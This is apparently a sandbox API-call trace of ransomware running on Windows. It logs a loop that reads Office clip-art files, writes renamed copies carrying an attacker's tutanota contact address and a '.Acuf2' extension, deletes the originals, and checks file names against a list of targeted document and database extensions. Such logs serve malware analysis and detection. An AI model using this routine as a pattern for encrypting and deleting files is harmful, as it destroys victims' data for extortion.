	[0254.241] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.241] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.241] SetEndOfFile (hFile=0x354) returned 1
	[0254.242] CloseHandle (hObject=0x354) returned 1
	[0254.242] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.242] SetEndOfFile (hFile=0x338) returned 1
	[0254.244] CloseHandle (hObject=0x338) returned 1
	[0254.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 1
	[0254.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63
	[0254.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63
	[0254.244] lstrlenW (lpString=".doc") returned 4
	[0254.244] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.244] lstrlenW (lpString=".docx") returned 5
	[0254.244] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.244] lstrlenW (lpString=".pdf") returned 4
	[0254.244] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.244] lstrlenW (lpString=".xls") returned 4
	[0254.244] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.244] lstrlenW (lpString=".xlsx") returned 5
	[0254.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.244] lstrlenW (lpString=".ppt") returned 4
	[0254.244] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63
	[0254.244] lstrlenW (lpString=".zip") returned 4
	[0254.245] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.245] lstrlenW (lpString=".rar") returned 4
	[0254.245] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.245] lstrlenW (lpString=".bz2") returned 4
	[0254.245] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.245] lstrlenW (lpString=".7z") returned 3
	[0254.245] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63
	[0254.245] lstrlenW (lpString=".dbf") returned 4
	[0254.245] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63
	[0254.245] lstrlenW (lpString=".1cd") returned 4
	[0254.245] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63
	[0254.245] lstrlenW (lpString=".jpg") returned 4
	[0254.245] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63
	[0254.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63
	[0254.246] lstrlenW (lpString=".doc") returned 4
	[0254.246] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.246] lstrlenW (lpString=".docx") returned 5
	[0254.246] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.246] lstrlenW (lpString=".pdf") returned 4
	[0254.246] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.246] lstrlenW (lpString=".xls") returned 4
	[0254.246] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.246] lstrlenW (lpString=".xlsx") returned 5
	[0254.246] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.246] lstrlenW (lpString=".ppt") returned 4
	[0254.246] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63
	[0254.246] lstrlenW (lpString=".zip") returned 4
	[0254.246] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.246] lstrlenW (lpString=".rar") returned 4
	[0254.246] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.246] lstrlenW (lpString=".bz2") returned 4
	[0254.246] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.246] lstrlenW (lpString=".7z") returned 3
	[0254.246] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63
	[0254.246] lstrlenW (lpString=".dbf") returned 4
	[0254.246] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63
	[0254.246] lstrlenW (lpString=".1cd") returned 4
	[0254.246] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63
	[0254.246] lstrlenW (lpString=".jpg") returned 4
	[0254.247] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.247] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0254.247] lstrlenW (lpString="AG00175_.GIF") returned 12
	[0254.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0254.247] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3378) returned 1
	[0254.247] CloseHandle (hObject=0x338) returned 1
	[0254.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20
	[0254.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0254.248] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.248] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0254.248] GetLastError () returned 0x0
	[0254.248] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xd32, lpOverlapped=0x0) returned 1
	[0254.249] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xd40, lpOverlapped=0x0) returned 1
	[0254.250] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.250] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.250] SetEndOfFile (hFile=0x354) returned 1
	[0254.250] CloseHandle (hObject=0x354) returned 1
	[0254.250] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.250] SetEndOfFile (hFile=0x338) returned 1
	[0254.253] CloseHandle (hObject=0x338) returned 1
	[0254.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 1
	[0254.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63
	[0254.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63
	[0254.254] lstrlenW (lpString=".doc") returned 4
	[0254.254] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.254] lstrlenW (lpString=".docx") returned 5
	[0254.254] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.254] lstrlenW (lpString=".pdf") returned 4
	[0254.254] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.254] lstrlenW (lpString=".xls") returned 4
	[0254.254] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.254] lstrlenW (lpString=".xlsx") returned 5
	[0254.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.254] lstrlenW (lpString=".ppt") returned 4
	[0254.254] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63
	[0254.254] lstrlenW (lpString=".zip") returned 4
	[0254.254] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.254] lstrlenW (lpString=".rar") returned 4
	[0254.254] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.254] lstrlenW (lpString=".bz2") returned 4
	[0254.254] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.254] lstrlenW (lpString=".7z") returned 3
	[0254.254] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63
	[0254.254] lstrlenW (lpString=".dbf") returned 4
	[0254.254] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63
	[0254.254] lstrlenW (lpString=".1cd") returned 4
	[0254.255] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63
	[0254.255] lstrlenW (lpString=".jpg") returned 4
	[0254.255] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63
	[0254.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63
	[0254.255] lstrlenW (lpString=".doc") returned 4
	[0254.255] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.255] lstrlenW (lpString=".docx") returned 5
	[0254.255] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.255] lstrlenW (lpString=".pdf") returned 4
	[0254.255] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.255] lstrlenW (lpString=".xls") returned 4
	[0254.255] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.255] lstrlenW (lpString=".xlsx") returned 5
	[0254.255] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.255] lstrlenW (lpString=".ppt") returned 4
	[0254.255] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63
	[0254.255] lstrlenW (lpString=".zip") returned 4
	[0254.255] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.255] lstrlenW (lpString=".rar") returned 4
	[0254.255] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.255] lstrlenW (lpString=".bz2") returned 4
	[0254.255] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.256] lstrlenW (lpString=".7z") returned 3
	[0254.256] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63
	[0254.256] lstrlenW (lpString=".dbf") returned 4
	[0254.256] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63
	[0254.256] lstrlenW (lpString=".1cd") returned 4
	[0254.256] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63
	[0254.256] lstrlenW (lpString=".jpg") returned 4
	[0254.256] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.256] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0254.256] lstrlenW (lpString="AG00176_.GIF") returned 12
	[0254.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0254.256] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3120) returned 1
	[0254.256] CloseHandle (hObject=0x338) returned 1
	[0254.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20
	[0254.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0254.257] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.257] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0254.259] GetLastError () returned 0x0
	[0254.259] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xc30, lpOverlapped=0x0) returned 1
	[0254.261] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xc40, lpOverlapped=0x0) returned 1
	[0254.262] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.262] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.262] SetEndOfFile (hFile=0x354) returned 1
	[0254.262] CloseHandle (hObject=0x354) returned 1
	[0254.262] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.262] SetEndOfFile (hFile=0x338) returned 1
	[0254.264] CloseHandle (hObject=0x338) returned 1
	[0254.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 1
	[0254.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63
	[0254.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63
	[0254.264] lstrlenW (lpString=".doc") returned 4
	[0254.264] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.264] lstrlenW (lpString=".docx") returned 5
	[0254.264] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.264] lstrlenW (lpString=".pdf") returned 4
	[0254.264] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.265] lstrlenW (lpString=".xls") returned 4
	[0254.265] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.265] lstrlenW (lpString=".xlsx") returned 5
	[0254.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.265] lstrlenW (lpString=".ppt") returned 4
	[0254.265] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63
	[0254.265] lstrlenW (lpString=".zip") returned 4
	[0254.265] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.265] lstrlenW (lpString=".rar") returned 4
	[0254.265] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.265] lstrlenW (lpString=".bz2") returned 4
	[0254.265] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.265] lstrlenW (lpString=".7z") returned 3
	[0254.265] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63
	[0254.265] lstrlenW (lpString=".dbf") returned 4
	[0254.265] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63
	[0254.266] lstrlenW (lpString=".1cd") returned 4
	[0254.266] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63
	[0254.266] lstrlenW (lpString=".jpg") returned 4
	[0254.266] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63
	[0254.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63
	[0254.266] lstrlenW (lpString=".doc") returned 4
	[0254.266] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.266] lstrlenW (lpString=".docx") returned 5
	[0254.266] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.266] lstrlenW (lpString=".pdf") returned 4
	[0254.266] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.266] lstrlenW (lpString=".xls") returned 4
	[0254.266] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.266] lstrlenW (lpString=".xlsx") returned 5
	[0254.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.266] lstrlenW (lpString=".ppt") returned 4
	[0254.266] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63
	[0254.266] lstrlenW (lpString=".zip") returned 4
	[0254.266] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.266] lstrlenW (lpString=".rar") returned 4
	[0254.266] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.266] lstrlenW (lpString=".bz2") returned 4
	[0254.266] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.266] lstrlenW (lpString=".7z") returned 3
	[0254.267] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63
	[0254.267] lstrlenW (lpString=".dbf") returned 4
	[0254.267] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63
	[0254.267] lstrlenW (lpString=".1cd") returned 4
	[0254.267] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63
	[0254.267] lstrlenW (lpString=".jpg") returned 4
	[0254.267] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.267] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.267] lstrlenW (lpString="AN00010_.WMF") returned 12
	[0254.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0254.268] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3026) returned 1
	[0254.268] CloseHandle (hObject=0x338) returned 1
	[0254.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20
	[0254.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0254.268] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.269] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0254.269] GetLastError () returned 0x0
	[0254.269] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xbd2, lpOverlapped=0x0) returned 1
	[0254.270] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xbe0, lpOverlapped=0x0) returned 1
	[0254.371] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
